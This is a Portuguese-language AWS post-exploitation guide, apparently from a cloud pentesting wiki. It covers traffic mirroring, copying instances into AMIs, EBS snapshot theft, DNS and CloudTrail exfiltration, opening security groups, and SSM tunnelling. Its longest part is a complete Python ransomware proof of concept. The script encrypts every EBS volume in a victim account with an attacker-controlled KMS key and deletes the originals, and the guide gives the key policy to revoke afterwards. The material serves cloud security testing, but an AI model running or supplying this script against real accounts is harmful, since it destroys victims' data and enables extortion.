O espelhamento de tráfego VPC duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
Para mais informações, confira esta página:
Copiar Instância em Execução
As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (verifique truques de escalonamento de privilégios EC2). No entanto, outra maneira de verificar o que contém é criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.awsec2run-instances--image-idami-0b77e2d906b00202d--security-group-ids"sg-6d0d7f01"--subnet-idsubnet-9eb001ea--count1--instance-typet2.micro--key-name"AWS Audit"--query"Instances[0].InstanceId"--regioneu-west-1# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots são backups de volumes, que geralmente conterão informações sensíveis, portanto, verificá-los deve revelar essas informações.
Se você encontrar um volume sem um snapshot, você pode: Criar um snapshot e realizar as seguintes ações ou apenas montá-lo em uma instância dentro da conta:
Data Exfiltration
DNS Exfiltration
Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda pode exfiltrar via DNS.
Os VPC Flow Logs não registrarão isso.
Você não tem acesso aos logs DNS da AWS.
Desative isso definindo "enableDnsSupport" como false com:
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
Open Security Group
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc para ECS
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é pivotar de um Bastion Host para um cluster EKS privado.
Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Instale o SessionManagerPlugin na sua máquina
Faça login no Bastion EC2 usando o seguinte comando:
O tráfego da ferramenta kubectl agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado da sua própria máquina executando:
kubectlgetpods--insecure-skip-tls-verify
Note que as conexões SSL falharão a menos que você defina a flag --insecure-skip-tls-verify (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
Finalmente, essa técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para se mover para qualquer outro serviço AWS ou uma aplicação personalizada.
Pesquisar informações sensíveis em AMIs públicas e privadas
https://github.com/saw-your-packet/CloudShovel: CloudShovel é uma ferramenta projetada para procurar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, que significa Ransomware Management Service, dada a facilidade de uso para criptografar vários serviços da AWS usando-o.
Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'
A regra da política de chave precisa das seguintes permissões habilitadas para permitir a capacidade de usá-la para criptografar um volume EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS da conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
Também vale a pena notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados não existem mais.
Em seguida, retorne à política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Aguarde um momento para que a nova política de chave seja propagada. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
Este é o script python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados.